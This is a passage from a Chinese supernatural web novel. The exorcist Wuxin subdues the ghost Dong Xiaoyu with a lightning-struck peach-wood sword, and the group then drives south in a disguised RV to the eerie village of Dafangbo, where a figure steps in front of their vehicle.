他先是绕着那座长满荒草、略显孤寂的坟堆缓缓走了一圈,脚步放得很轻,脚尖偶尔看似随意地轻点地面,侧耳倾听着地下的动静。
接着,他又像狗寻猎物似的,用鼻子深深吸了几口气,分辨着空气中的味道。
“嗯……阴气是有的,但藏得挺深,像是被什么东西刻意收敛束缚住了,不仔细闻差点漏过去。”
无心低声自语,他常年跟这些阴物打交道,鼻子和直觉比寻常法器还灵光。
“这土腥味里……还混着点若有若无的檀香灰的味道……嘿,有意思,这女鬼生前还是个讲究人儿?**埋在这乱葬岗,都不忘给自己坟头熏点香?”
他滴咕着走回墓碑正前方,却没有立刻做法强行逼对方出来,反而先转过头,朝坐在不远处石头上的古德嘿嘿一笑,露出两排白牙:
“东家,这活儿我接了,保证干净利落。不过咱先说好,等会儿把这董小玉揪出来,要是她模样长得还算周正,我超度她之前,能不能跟她唠两句?
就问问她到底用了啥手段,能把秋生那愣头青迷得五迷三道的?咱也取取经,学两招,万一以后用得上呢?”
古德还没说话,旁边站着的阿草先不乐意了,小脸一板,啐了一口:
“无心大哥!你正经点行不行!我们是来抓鬼除害的,不是来听你说这些浑话的!你再这样,我让老板扣你伙食!”
“别别别!阿草姑娘,我错了!我这就干活!立刻!马上!”
无心一看阿草搬出“扣伙食”的大杀器,立马举手投降,变脸比翻书还快。
脸上的嬉笑瞬间收敛,眼神重新变得锐利而专注。
他先将那柄桃木剑倒转,剑尖朝下,单手握住剑柄,往身旁地面看似随意地一插。
“噗。”
一声轻响,剑尖轻松没入干燥的泥土约莫三寸深浅,剑身稳稳立住,纹丝不动,仿佛本来就长在那里一样。
这一手看似简单,实则需要对力量和角度有极精准的掌控,既要插得稳,又不能损伤剑尖分毫。
剑立稳后,无心双手抬起,在胸前合拢,十指开始快速而繁复地交错、变幻、扣结。
他指尖隐隐泛起微不可查的白色毫光,那光芒如同有生命的灵蛇,随着他手指的划动,在墓碑上方的虚空之中勾画着无形的轨迹。
这是无心在漫长流浪岁月里,从各种民间法脉、甚至是一些偏门异术中融合简化而来的独门手法,他称之为“探灵指”。
片刻之后,他眉头倏地一挑,指尖的白光也随之微微一亮。
“找到了,”他收回手,白光消散,“阴眼藏得还挺刁钻。不在墓碑正下方,也不在坟堆正中心。在墓碑右下角,往外约三尺,入地差不多五尺深的地方。嘿,还真是个会**的。”
他弯腰拔出插在地上的桃木剑,握在手中。
这一次,他的神色彻底沉静下来,眼神里再无半分玩笑,只剩下纯粹的专注和一丝凛然。
无心左手食指中指并拢,在剑身上从剑格到剑尖快速虚抹过一道,口中低诵:
“阳血引灵,雷木通幽,邪祟显形,莫遁其踪!”
随着他咒文念出,那桃木剑身上焦黑的雷击纹路,竟隐隐泛起一丝丝极其细微的紫蓝色电光,空气中响起一阵如同冬日静电般的“噼啪”声,一股至阳至刚、专克阴邪的气息弥漫开来。
坐在石头上的古德微微点头,眼中闪过一丝认可。
无心这家伙,平时看着有点吊儿郎当,但手底下的真功夫是实打实的。
这手以自身微薄阳气为引,巧妙激发雷击木内蕴藏的那一丝天威余韵的法子,看似简单。
实则需要对自身气息和法器特性都有极精准的掌控,用得恰到好处,对付这种善于藏
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匿的阴灵,比很多大威力的法术都更有效,属于四两拨千斤的巧活儿。
无心持剑,剑尖朝下,对准他刚才感应到的那个“阴眼”的具体位置,看似随意地轻轻一刺。
剑尖并未刺入泥土,在离地面还有半尺左右的高度便停住了。一股无形却切实存在的阴寒阻力传来,仿佛刺中了一层坚韧的橡胶。
“哟呵,还知道设个障眼法护着老巢?”
无心挑了挑眉,并不感到意外。
他手腕轻轻一抖,桃木剑身上那些紫蓝色的电光骤然变得明亮了些,如同细小的电蛇在剑身游走。他轻喝一声:“给我破!”
“嗤啦——!”
一声仿佛烧红的烙铁烫进湿冷油脂的声音响起。
剑尖前方的空气肉眼可见地扭曲、荡漾了一下,一层极淡、几乎看不见的灰黑色、如同薄膜般的阴气屏障瞬间浮现,紧接着便在那蕴含天威余韵的雷光电蛇冲击下,如同阳光下的冰雪般迅速消融、破碎、消散无踪。
与此同时,一股比之前明显浓郁数倍的阴寒气息,如同打开了冰箱门,猛地从那个位置涌出,其中还夹杂着一丝若有若无、甜腻中带着腐朽气息的女子脂粉香气,在这荒山野岭的坟地间弥漫开来,显得格外诡异。
“行了,门敲开了,主人家该出来迎客了。”
无心退后一小步,将桃木剑横在身前,目光炯炯,如同猎鹰般牢牢锁定着那座孤坟。
几乎在他话音落下的同时,四周的光线似乎莫名地暗淡了少许,仿佛有薄云遮住了日头。
山林间原本偶尔响起的鸟鸣虫叫,也诡异地彻底停了下来,陷入一种死寂般的安静。一股凉飕飕的、打着旋儿的阴风不知从何而起,卷起坟前的几片枯黄落叶,在空中打着转,更添几分阴森。
“何方高人……为何扰我清净……”
一个幽幽的、带着几分哀怨、几分警惕,又似乎有几分空灵的女子声音,直接在三人的耳边响起,声音飘飘忽忽,像是从很远的地方传来,又像是紧贴着耳朵低语,让人完全辨不清具体的来源方向。
第286章 我与秋生乃是两情相悦
无心面色不变,朗声答道,语气不卑不亢,自有一股正气:
“路过之人,见此地方圆阴气缠结不散,更察觉有阴灵惑乱阳世生灵之举,特来问个明白。墓中可是董小玉姑娘?”
坟地间沉默了片刻,只有那阴风依旧在轻轻旋绕。
那女声再次响起,哀怨之意更浓,仿佛受了天大的委屈:
“是又如何?不是又如何?小女子不过是一缕孤魂野鬼,侥幸栖身于此荒冢,从未主动害人性命,一向安分守己,诸位高人何故苦苦相逼?”
“从未主动害人?”
无心嗤笑一声,手中桃木剑的剑尖遥指向任家镇义庄的大致方向,声音带上了几分凌厉。
“那昨夜,你以幻术迷惑茅山林九英道长之徒秋生,盗取其元阳精气,损其道基,这难道不算害人?你可知修道之人,元阳何其重要,一旦有失,便是自断前程?”
那女声似乎被说中了心事,又或是被无心言语中的凌厉所慑,停顿了一下,才带着一丝慌乱幽幽辩解道:
“我……我与秋生乃是两情相悦!是他自愿与我……与我相好!何来盗取一说?你们休要血口喷人!”
“两情相悦?”
这时,一直安静旁观的古德终于开口,他的声音平淡无波,却带着一种洞悉本质的冷意,直接穿透那女鬼的哀怨伪装。
“人鬼殊途,阴阳两隔,此乃天地定律。你一缕阴魂,无形无质,靠什么与他相悦?不过是借鬼魅幻术,迷其心窍,摄其阳气,以此来延缓你自身魂体消散之苦,甚或是修炼你那害人的鬼道罢了。
你若真有一丝一毫为他着想,会不知你这两情相悦,实则是蚀骨吸髓,是在毁他道途,甚或折他阳寿?”
“我……”
女声顿时语塞,被古德这番直指核心的话问得哑口无言。
沉默了几秒,她似乎有些恼羞成怒,声音陡然变得尖利起来。
“你们……你们这些臭男人懂什么!我生前命苦,所遇非人,含怨而死!死后在这荒山孤寂百年,难得遇到一个不嫌我、真心待我的知心人……
我们之间的事,轮不到你们来管!罢了!既然你们非要多管闲事,那就别怪小女子不客气了!”
话音刚落,坟堆周围阴风骤起,瞬间变得猛烈!
卷起的枯叶尘土比之前多了数倍,几乎要遮蔽视线。
那幽幽的女声陡然变得尖锐凄厉,充满了怨毒:“既然来了,你们也都留下吧!留下来永远陪着我!”
瞬间,古德、阿草和无心三人只觉得眼前景物一阵剧烈的模糊、扭曲!
原本虽然是午后却还算明朗的山林景象,竟仿佛一下子被拉入了昏暗的黄昏,甚至是诡异的夜晚。
四周的树木变得影影绰绰,枝桠张牙舞爪,如同一个个择人而噬的鬼怪。
一股强大的、冰冷的拉扯力从四面八方传来,作用在三人的魂魄上,仿佛有无数只无形的手,要将他们的生魂硬生生从躯壳里扯出来!
“鬼打墙?还夹杂了点**幻术?有点意思,但火候还差得远!”
无心身处幻象中心,却是冷哼一声,丝毫不乱。
他眼中精光一闪,猛地一咬舌尖,随即“噗”地一声,将一小口殷红的血雾喷在横于身前的桃木剑上!
坐在一旁的古德看得都下意识咧了咧嘴,觉得舌尖一阵幻痛。
这无心,对自己是真下得去嘴,而且看他那表情,好像完全没感觉一样。
“纯阳破妄,血引雷威!给我开!”
沾染了无心至阳舌尖血的桃木剑,剑身上那些雷纹仿佛被彻底激活,“腾”地一下,紫蓝
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色的电光暴涨,变得刺目耀眼,甚至发出了清晰的“噼啪”炸响!
他双手紧握剑柄,原地一个迅捷的旋转,璀璨的雷光剑刃随着他的动作,划出一个完美的、充满毁灭气息的亮蓝色光圈!
“咔嚓——哗啦!”
如同巨大的琉璃镜面被重锤砸碎的声音响彻四周!
三人眼前的昏暗幻象、张牙舞爪的鬼树、冰冷的魂魄拉扯力,如同潮水般瞬间退去,崩碎成无形的碎片消失不见。
周遭景象恢复成了山林午后该有的模样,虽然因为阴气影响依旧有些暗沉,但已不再是那诡异的黄昏。
那猛烈的阴风也止歇了大半。
而就在幻象破碎的中心,那道红色身影再也无法隐藏,一个踉跄,被迫显形出来。
那是一个穿着旧式大红嫁衣的女子,身段窈窕,长发如瀑披散在肩头,面容依稀能看出生前的秀丽姣好,但脸色惨白得没有一丝血色,如同刷了白垩,嘴唇却涂得艳红如血,形成一种强烈的的对比。
一双原本或许明媚的眸子,此刻充满了怨毒、惊怒和一丝不易察觉的恐惧,周身翻涌着浓重如墨的黑色鬼气,显然已不是普通浑浑噩噩的游魂野鬼,而是颇有气候的厉鬼,还是一个红衣厉鬼。
正是此间墓主,董小玉。
“你们……坏我好事!毁我道行!我与你们不死不休!”
董小玉厉啸一声,声音尖锐得能刺破耳膜。
她十指指甲瞬间暴涨,化作十根乌黑发亮、闪烁着金属光泽的利爪,带着森森鬼气和一股腥风,身形化作一道刺目的红影,以极快的速度,直扑离她最近、也是破她法术的无心!
“来得好!正等着你呢!”
无心不惊反喜,他刚得这柄顺手的桃木剑,正想找个够分量的靶子试试威力。
第287章 无心好奇董小玉和秋生的过程
面对厉鬼凶悍的扑击,无心不闪不避,脚下反而踏前一步,腰马发力,手中桃木剑自下而上,一记简练至极、却蕴含着全身力道的上挑!
“雷击木下,邪祟伏诛!”
剑招名称随口而喊,重点在于剑势与力量的配合。
随着剑势上挑,剑身上那些尚未完全消散的炽烈紫蓝电光,如同找到了宣泄口,随着剑刃破空之势猛然迸发、激射!
在半空中与董小玉那双乌黑鬼爪狠狠撞在一起!
“嗤嗤嗤——!!嗷啊!!”
电光与浓稠鬼气激烈交锋,发出滚油泼雪般的腐蚀声响。
董小玉发出一声痛苦凄厉的惨叫,鬼爪之上黑烟直冒,仿佛被烙铁烫伤。
她触电般缩回利爪,身影急速向后飘退,看向无心手中那柄闪烁着雷光的桃木剑,眼神中充满了深深的忌惮和恐惧。
雷击木,尤其是上了年份的雷击木,其内蕴的天雷余威,对于她们这些阴属性鬼物而言,是天生的克星,比什么**血、公鸡血都要霸道得多!
“反应倒是不慢。”
无心一招得势,岂会放过机会。
他得理不饶人,脚下步法展开,身形如风,手中桃木剑化作一道道或直或弧、或劈或刺的凛冽剑光,紧追不舍。
无心用的并非什么精妙高深的剑法,就是最基础、最直接的劈、刺、撩、扫,但每一剑都速度快如闪电,角度刁钻狠辣,并且总是恰到好处地蕴含着桃木剑本身的破邪雷霆之力,以及他自身血气带来的纯阳灼烧效果。
董小玉身形飘忽如烟,不断在山林间的树木阴影中穿梭闪避,时而挥爪反击,带起一道道凌厉的黑色鬼气利刃,试图切割无心的身体。
她身为厉鬼,身法诡异,如同没有重量,总能以违反常理的角度移动,试图利用环境与无心周旋。
但无心的步法却异常稳健,看似不快,却总能预判到她的移动轨迹,如同附骨之疽,总能在关键时刻截住她的去路。
那柄桃木剑在他手中,仿佛有了生命,指东打西,指南打北,将董小玉逼得狼狈不堪,身上的嫁衣都被剑风划破了好几处,鬼气也在一次次交锋中不断消耗。
“大姐,我说你就别白费力气跑来跑去了。你这点道行,跑不过我的剑,也扛不住我的雷,何必呢?”
无心一边有条不紊地进攻,一边居然还有闲心开口说话,语气带着点调侃。
“乖乖站好,让我给你贴张符,送你去该去的地方,早点过奈何桥喝汤,争取下辈子投个好胎,找个活蹦乱跳的如意郎君正经过日子,生儿育女,不比你现在当个孤魂野鬼,天天吸人阳气强?”
“你给我闭嘴!”
董小玉被无心这番推心置腹的劝降气得鬼体震荡,鬼啸连连,攻势变得更加狂猛杂乱,但破绽也更多了。
她心中又惊又怒,眼前这个寸头男人不仅法器厉害,身手和体力也简直非人,打了这么久,气息平稳绵长,连汗都没出多少,反倒是她自己,鬼气消耗巨大。
激斗中,董小玉眼中厉色一闪,瞅准无心一剑刺出、力道用老的瞬间,她猛地向后仰身,险险避过剑尖,同时腹部一缩,胸腔鼓起,张口对准无心的面门——
“噗——!”
一股凝练如实质、颜色漆黑如墨、散发着极度阴寒和强烈怨念的浓稠阴气,如同出膛的炮弹,直喷而出!
这是她积攒的怨气本源之一,威力极大,若是被正面喷中,活人立刻会血液冻结、魂魄受损,就算修行者也要吃个大亏!
然而,无心似乎对她的招数早有预料。
就在她腹部收缩、准备喷吐的预兆出现的刹那,无心刺出的剑势并未用老,而是顺着前冲的力道,脚下猛地向侧后方一蹬!
“嗖!”
他的身体如同滑不留手的泥鳅,向侧后方灵巧地滑开了半步,恰到好处地避开了那股阴气喷射的正面轨道。
黑色阴气擦着他的肩膀射过,击中后面一棵小树的树干,那树干瞬间覆盖上一层白霜,枝叶以肉眼可见的速度枯萎发黑!
而就在侧滑避开的同一瞬间,无心的左手如同变戏法般,早已从怀里摸出了一张折叠好的黄符纸。
符纸边缘有些磨损,上面的朱砂符文正是林九英常用的那种“镇尸符”样式。
但细看之下,
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符文笔画似乎被无心用自身指尖血稍微修改润色过,使其更偏向于**灵体魂魄。
“镇不了蹦跶的僵尸,还镇不了你这飘着的鬼?”
无心冷喝一声,在董小玉因喷吐阴气而动作微微凝滞、身体前倾的完美时机,左手如闪电般探出,五指张开,手腕一抖!
“啪!”
一声清脆的响声。
那张微微散发着淡红光芒的黄符,不偏不倚,端端正正,牢牢地贴在了董小玉那光洁惨白的额头正中!
“定!”
无心一声低喝。
董小玉前扑的动作骤然僵住,如同被瞬间抽走了所有动力,保持着张牙舞爪的姿势,被定在了原地。
她周身的鬼气剧烈地翻滚、冲撞,试图冲开额头上那张看似轻飘飘、却重若山岳的符咒。
但那符纸上的朱砂纹路亮起稳定的红光,与无心残留的纯阳血气紧密结合,形成一股强大而稳固的**之力,将她连同周身鬼气一起,牢牢禁锢住。
她只能僵硬地维持着前倾的姿势,双脚微微离地,飘在那里,只有一双充满了怨毒、惊恐和绝望的眼睛,还能惊恐地转动,死死瞪着近在咫尺的无心。
无心这才长长舒了一口气,拍了拍手上并不存在的灰尘,抱着胳膊,好整以暇地欣赏了一下自己的“杰作”,然后转头看向一直作壁上观的古德,咧嘴笑道,露出带着几分痞气的笑容:
“东家,搞定。这厉鬼确实有点道行,怨气不浅,还会点幻术和凝气攻击,一般道士对付起来可能还真要费点手脚。不过嘛,谁让她碰上我这专业对口的了呢?算她倒霉。”
他搓了搓手,眼神瞟向被定住的董小玉,又开始了。
“您看,是直接收了,还是先审审?问问她还有没有别的同伙?或者满足一下我的好奇心,问问她昨晚和秋生那小子……具体是怎么个流程?那小子看着挺机灵,怎么就这么容易着了道呢?”
说到最后,他又开始挤眉弄眼,不正经的**病又犯了。
显然,和古德、阿草相处这些时日,混熟了之后,他性格里那点跳脱和恶趣味的一面,也开始不再掩饰。
第288章 一路向南
古德懒得搭理他这浑话,站起身,拍了拍长衫下摆,走上前去,仔细看了看被定住的董小玉。
女鬼眼中充满了不甘和怨恨,但在那怨恨深处,古德也看到了一丝解脱前的茫然和深藏的绝望。
“尘归尘,土归土。阴阳有序,生死有命。你既已身死,就不该再贪恋阳世,更不该以害人修行来延续你这不该存在的鬼命。”
古德语气平淡,却带着不容置疑的决断。
“念在你尚未造成不可挽回的杀孽,今日便送你一程,望你来世能洗心革面,好自为之。”
说完,他不再多言,手指一弹,一张紫色的的收鬼符箓如同拥有生命般,轻飘飘地飞向无法动弹的董小玉。
符箓触及鬼体的瞬间,紫光大盛,产生一股强大的吸力。
董小玉的鬼体连同周身翻涌的鬼气,如同长鲸吸水般,被迅速吸入那小小的符纸之中。
紫光敛去,符纸飘落在地,自动折叠成一个精巧的三角符包。
阿草立刻小跑过去,小心翼翼地将那三角符捡了起来,递给古德。
无心手腕一翻,挽了个利落的剑花,将桃木剑上的残留电光彻底收敛,然后对着古德比了一个夸张的大拇指,龇牙笑道:
“东家,高!实在是高!害得是您坐镇,咱这心里才有底啊!”
这马屁拍得毫不掩饰。
古德有些无奈地摇摇头:“行了,别贫了。此地事了,我们也该动身继续赶路了。”
“老板,我们去哪儿啊?”阿草仰起小脸,好奇地问。
古德闻言,转过身,目光投向了南方层层叠叠、逐渐变得低缓的丘陵和更远处仿佛与天际相接的朦胧山脉。
他的眼神变得有些悠远,似乎穿透了眼前的山水,看到了更遥远的地方。
“往南走。”他缓缓说道,语气里带着一种不易察觉的复杂情绪,“去广东,然后……去香江那边看看。”
香江……这个名字,对他来说,有着太多复杂的含义。
是他穿越前记忆中的那个繁华都会,也是他最初在那个世界醒来,获得系统开始这段奇异旅程的起点。
他想看看,在这个明显更为宏大、诡异与民俗传说更加真实浓郁的世界里,那个叫做“香江”的地方,是否还是他记忆中的模样?
是否还有他熟悉或陌生的故事正在发生。
三人不再耽搁,迅速离开了这片坟地,沿着来时的山路返回。
回到停放在林间空地的房车旁,古德拉开车门,坐进了驾驶位。阿草和无心也相继上车。
古德坐在熟悉的位置上,定了定神,双手握住方向盘。
他心念微动,房车外部伪装的光影效果稳定运行。
发动机发出低沉平顺的嗡鸣,车子缓缓调转方向,驶离了这片刚刚结束一场人鬼交锋的山林,沿着崎岖的土路,朝着南方,逐渐加速。
接下来的路程,果然如古德所料,这个兵荒马乱、妖魔显形的世道,远不太平。
离开了相对安定的任家镇区域,越是往南,山野林莽之间,各种稀奇古怪、因乱世而滋生或显形的精怪鬼物,似乎就越多。
古德本着锻炼员工(主要是无心)、顺便赚点外快(阴德)的原则,但凡在路上感知到或遇到一些不成气候、或者明显带有害人气息的邪祟,只要不是特别扎手、需要他亲自出马的硬点子,他都一律指派给无心去解决。
无心也乐得如此。他本就闲不住,有了新得的百年雷击桃木剑,更是手痒难耐,巴不得多找几个对手来练练剑,熟悉熟悉这柄法器的特性。
再者,古德承诺,这些“额外收获”折算的“绩效”,可以适当提高他的伙食标准,这就更让他干劲十足了。
于是,这一路南下,就成了无心的野怪清理路线。
他们遇到过藏在山路拐角老槐树上、幻化虚影、用藤蔓试图勒毙行人吸取精气的百年老山魈。
那家伙力大无穷,皮糙肉厚,还能操控附近的草木。
无心先是利用桃木剑的雷火破开其藤蔓防御,近身后施展纯阳掌力震散其护体妖气,最后用桃木剑刺穿其心窍,掏出了一颗鸡蛋大小、色泽浑浊、泛着土黄光泽的妖丹。
古德看了一眼,随手丢给阿草:
“杂质太多,给你当花肥吧。”
阿草倒是很开心,草木精灵对这类土属性妖丹的精华部分还是能吸收利用的。
他们还遇到过盘踞在一座废弃古宅里、披着美人画皮、专门引诱路过的单身男子进去“欢好”、实则吸干精血修炼的画皮鬼。
这鬼物幻术比董小玉高明不少,制造的幻境几乎以假乱真。
无心进去后,差点也被那温香软玉迷惑,好在他心智坚韧,体内纯阳血气自发护主,关键时刻惊醒。
他勃然大怒,直接催动桃木剑最大功率,雷光电火四射,硬生生劈碎了那画皮鬼精心制作的“美人皮”,露出里面一具靠着吸**血维持、半骷髅半腐肉的狰狞本相,然后毫不客气一张紫符收走。
还遇到过一片因早年瘟疫而死的乱葬岗,积累了数
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十只懵懂无知、只凭本能汇聚阴气、见到活物就扑上去撕咬的低等“疫鬼”。
这些疫鬼单个很弱,但数量多,聚在一起形成的疫病阴气对活人威胁不小。
无心直接冲进去,将桃木剑插在地上作为阵眼,然后割破手掌,洒出大量蕴含生机的纯阳之血,配合一套范围性的“驱邪禳灾”手诀,引发自身血气大范围爆发!
炽热的纯阳气浪如同小太阳般横扫,配合桃木剑的镇邪领域,将那群疫鬼连同污秽的疫病阴气净化得一干二净,最后只留下几十个微弱的魂魄光点,也被古德收走。
这些战斗规模都不算特别大,对手的层次也大多在“厉鬼”到“小妖”之间,正好适合无心练手。
通过这些实战,无心迅速熟悉了百年雷击桃木剑的各种特性。
如何更高效地激发雷威,如何将自身血气与剑身破邪之力结合,如何用剑招应对不同种类邪祟的攻击方式等等。
他的实战经验,尤其是应对各种诡异手段的经验,也在迅速积累。
阿草偶尔也会出手,用她天生的草木灵气布置个小困阵,或者清理一下战斗后残留的阴秽气息。
她心思细腻,往往能注意到一些无心忽略的细节。
古德大多数时候,只是安静地坐在房车里,如同一个考官,观察着无心的表现。
只有在无心遇到棘手的法术陷阱,或者对战策略明显有误时,他才会出言指点一两句,往往一针见血,让无心茅塞顿开。
除此之外,他也只是望着沿途越来越显荒凉或诡异的景色,偶尔感叹一句:
“时逢乱世,阴阳失调,妖孽滋生啊。”
语气里听不出太多情绪,更像是一种冷静的看客。
日子就在这赶路、遇鬼、抓鬼、赚取阴德点数的循环中,一天天过去。
窗外的景色也在悄然变化。
山势变得越发平缓和秀丽,河流水网逐渐密集,路边的植被也更加茂盛、多样,充满了南国风情。
这天傍晚,距离他们离开任家镇已有数日。
天色阴沉得厉害,不是寻常的暮色,而是一种铅灰色的、仿佛要压到人头顶的厚重乌云,黑压压地堆满了整个天际,一丝天光都透不下来。
空气异常闷热,没有一丝风,吸进肺里都感觉沉甸甸的,让人有些喘不过气,仿佛暴风雨来临前最后的沉闷。
古德看着车内导航光屏上逐渐清晰、接近的一个地名标记——“大方伯村”,又抬头透过车窗望了望那令人心悸的天色。
第289章 不太对劲的大方伯村
“看样子,要下大雨了,还是场不小的雨。”
坐在副驾的阿草也望着窗外,小声说道,她的草木灵觉对天气变化尤为敏感。
她话音刚落——
“噼里啪啦!哗——!”
豆大的雨点毫无预兆地、以一种近乎狂暴的架势,狠狠地砸落下来!
砸在房车的顶棚和车窗上,发出密集而响亮的撞击声。雨势在短短几秒钟内就迅速加大,从雨点连成了雨线,又从雨线汇成了几乎完全遮蔽视线的白茫茫雨幕!
天地间一片混沌,只有震耳欲聋的雨声充斥一切。
土路几乎在瞬间就变得泥泞不堪,车轮碾过,溅起高高的泥浆。
古德立刻打开了车头大灯,在伪装下,是马车前挂起了两盏特别明亮的防风灯,两道昏黄但穿透力不俗的光柱刺破雨幕,勉强照亮前方一片模糊的道路。
雨刮器开到最大档位,疯狂地左右摆动,发出急促的“嘎吱”声,不断将汇聚在挡风玻璃上的水流扫开,但刚扫开,新的雨水又立刻覆盖上来,视线依旧很差。
在这种极端天气和糟糕路况下,饶是古德这辆经过伪装的房车性能远超时代,也不得不将速度放慢到如同龟爬。
又艰难地向前挪动了一段距离,透过被雨水不断冲刷、时而清晰时而模糊的挡风玻璃,古德隐约看到,在车灯光柱的边缘,雨幕的深处,出现了一片黑黢黢的、低矮密集的轮廓。
那是一个村落。
房屋大多是土坯或砖木结构,屋顶盖着黑瓦,在如此猛烈的暴雨中,几乎看不到任何灯火,死寂一片,仿佛整个村子都沉睡了过去。
村口的位置,似乎立着一个略显高大的石头牌坊的轮廓,在车灯偶然扫过时,能看到上面模糊雕刻着的几个大字——“大方伯村”。
“雨太大了,路没法走了。”
古德减缓车速,几乎是在泥泞中一点一点地往前蹭。
“看来今晚是赶不到下一个镇子了。得在这村子里找个地方借宿,或者至少找个能避雨停车的地方过夜。”
虽然房车也不怕雨淋,但是古德还是更喜欢在有人气的地方。
他操控着车子,准备驶向村口,看看情况。
就在车子缓缓接近村口,车头那两道昏黄的光柱即将完全照亮那座残破石头牌坊下的逼仄区域时——
“呼——呜!!”
一阵邪风毫无征兆地猛地卷了过来!
那风来得又急又猛,完全不像寻常风雨,倒像是什么看不见的巨手,带着一股子蛮横的劲儿,狠狠一下,把原本连成片的雨幕给撕开了一道大口子!
雨线瞬间凌乱,水汽四散。
就在这狂风短暂地掀开雨帘、光线为之一清的刹那!
车灯那两道努力穿透黑暗的昏黄光柱,终于毫无阻碍地、清晰地照亮了村口牌坊正下方、那片被暴雨彻底泡发、泥泞不堪的空地。
浑浊的泥水在光线下反射着令人不适的暗沉光泽。
而在那光柱的核心区域,浑浊的泥水里,赫然映出了一团与周围被雨水冲刷得相对干净的地面格格不入的、黑乎乎、轮廓分明的影子。
那影子……的的确确,像是一个人。
一个以极其别扭的姿势蜷缩着、脸朝下、整个上半身几乎都埋在泥水之中,一动不动的人。
破旧肮脏的深色布衣紧紧贴在似乎有些干瘦的躯体上,一头乱发如同水草般披散,混合在泥浆里。
他就那样静静地俯卧在牌坊下的泥泞中,对倾盆而下的暴雨和近在咫尺的车灯毫无反应,仿佛已经与这片泥地融为一体。
车内的空气似乎
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凝固了一瞬。阿草趴在车窗边,睁大了眼睛,透过被雨刮器刮出瞬间清晰的玻璃,死死盯着那团黑影,几秒后,她才缓缓转过头,,对古德小声道:
“老板……牌坊下面,好像……是个**。”
古德握着方向盘的手没动,只是轻轻“嗯”了一声,点了点头。
他自然也看见了。
大雨能冲刷掉很多痕迹,但也可能掩盖更多东西。
眼前这村子,黑灯瞎火,静得只有风雨声,牌坊下又莫名躺着一具尸首,里头是什么光景,实在不好说。
贸然进去,不明智。
“看来,我们今天确实不宜进村了。”
古德收回目光,语气平静地做出了决定,对身旁的阿草和后面的无心说道。
“这村子有点邪性。雨太大,路况也差,贸然进去不明智。今晚就在旁边那片小树林边上找个平坦点的地方停车休息,等明天天亮雨停了,再看情况决定是进去看看,还是直接绕路走。”
他总觉得“大方伯村”这个名字有点耳熟,好像在哪里听过。
是前世看过的某部老电影?
还是什么民间志怪故事里的地名?
一时半会儿想不起来,但这种隐约的熟悉感,加上村口那具诡异的尸体和死寂的村落,让他本能地选择了避让。
无心扒着座椅靠背,也探头看了看外面,啧了一声:
“这鬼地方,鬼气森森的,确实不像啥好地方,那就听东家的。”
房车缓缓倒出村口范围,在路边找到一片相对干燥平坦、靠近树林边缘的空地停了下来。
古德将伪装保持为隐匿形态,关闭了车灯。
暴雨依旧疯狂地敲打着车顶和四周,发出连绵不绝的哗啦声,将这辆超现代房车隔绝在喧嚣而又孤寂的雨夜之中。
第290章 哪里来的碰瓷的
一夜无话。
只有那仿佛永无止境的雨声,充当着唯一的背景音,时而急促,时而舒缓,直到天色将明未明之际,这下了几乎一整夜的暴雨,竟如同被一只无形的手骤然关掉了水龙头,说停就停,干脆利落得让人有些不适。
清晨,世界被洗刷得一片湿漉漉的清新,但天空依旧阴沉,堆积着厚厚的铅灰色云层,没有丝毫放晴的迹象,光线显得晦暗而压抑。
古德推开卧室门,走到房车的客厅兼小餐厅时,阿草已经像往常一样,准备好了简单的早饭,白粥、咸菜、还有几个热乎乎的馒头。
她和无心已经坐在小桌旁等着了。
“早啊。”
古德打了个哈欠,舒展了一下筋骨,在桌边坐下。
然而,阿草和无心脸上却没有平日的轻松。
无心放下筷子,神色有些凝重地看向古德,沉声道:
“东家,早上雨刚停那会儿,我下车去村子那边远远瞅了一眼,顺便探了探风声。”
他顿了顿,组织了一下语言:
“前面那个大方伯村……不对劲,很不对劲。我绕着村子外围,隔着老远都能闻到一股子浓得化不开的陈腐尸气!
不是一具两具,是很多!而且村子里头,静得吓人,别说鸡鸣狗叫人声,连点活物的动静都没有,就像……就像个巨大的坟场。”
阿草也放下碗,小脸上带着不安,点头补充道:
“无心大哥说得对,老板。我也感觉到了。那个村子……里面已经没有任何活人的生气波动了,死寂一片。取而代之的,是密密麻麻、纠缠在一起的阴沉尸气。
不过,跟我们在黄山村遇到的那种怨鬼的阴气不一样,这里的更像是……尸身不腐,聚而不散的那种感觉。”
她看向古德,声音压低了些,带着一丝不确定:“可能……里面徘徊的,不是鬼,而都是……僵尸?”
古德本来因为无人区三字提起的一点兴趣,在听到“都是僵尸”和“没有活人”后,迅速消退了。
僵尸这种东西不值钱,不像鬼魂那样可以超度换阴德。
最重要的是,里面人都死绝了,他进去干嘛?
学**做好事,义务清理僵尸村落?
他又不是专门干这个的卫道士。
“好了,既然里面没有活人,全都是僵尸,那跟我们也就没什么关系了。”
古德很快做出了决断,语气轻松。
“我们又不是官府的人,也没拿谁的钱,没义务去清理这些脏东西。这世道不太平,妖魔鬼怪多了去了,我们管不过来,也管不起。
等会儿吃完早饭,我们直接开车,从旁边找条路绕开这个村子,继续赶我们的路。”
无心和阿草都点了点头,显然也是这么想的。
无心虽然不怕事,但也不想没事找事,尤其是面对一整个村子的僵尸,想想就头皮发麻。
阿草更是松了口气,她本能地厌恶那种死寂和尸气弥漫的环境。
三人快速吃完早饭。
古德坐回驾驶位,发动了车子。
再次伪装成马车的房车发出低沉的嗡鸣,开始缓缓调头,准备从旁边一条看起来勉强能通行的、长满荒草的小路绕过大方伯村。
然而,就在车子刚刚完成调头,准备驶上那条荒草小径的瞬间——
一道身影,毫无征兆地,如同鬼魅般,突兀地出现在了车头正前方,不到一丈远的地方!
那是一个穿着破烂不堪、几乎难以分辨原本颜色和式样的褴褛衣衫的人。
他低着头,头发如同乱草般披散,遮住了面容,就那么直挺挺地站在泥泞的路中央,挡在了房车前进的方向上。
“吱——!”
古德反应极快,一脚死死踩住了刹车。
饶是如此,由于距离太近,车身还是带着湿滑地面的惯性,微微向前一冲——
“嘭!”
一声不算特别响亮、但异常清晰的闷响。
车头结结实实地,撞在了那个突然出现的“人”身上!
巨大的撞击力,让那个衣衫褴褛的身影如同断了线的破布风筝,向后凌空飞起,在空中划过一道短暂的弧线,然后“啪叽”一声,重重摔在了前方数米外更加泥泞的地面上,溅起一片泥点。
古德坐在驾驶座上,看着这一幕,嘴角忍不住狠狠抽搐了一下:
“我热烈的马,怎么又有碰瓷的?!讹我保险是吧!”
这荒郊野岭,前不着村后不着店,突然冒
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出个人直挺挺撞车?这不是碰瓷是什么?
然而,他这口气还没完全吐出来,下一幕让他瞳孔微缩的景象发生了。
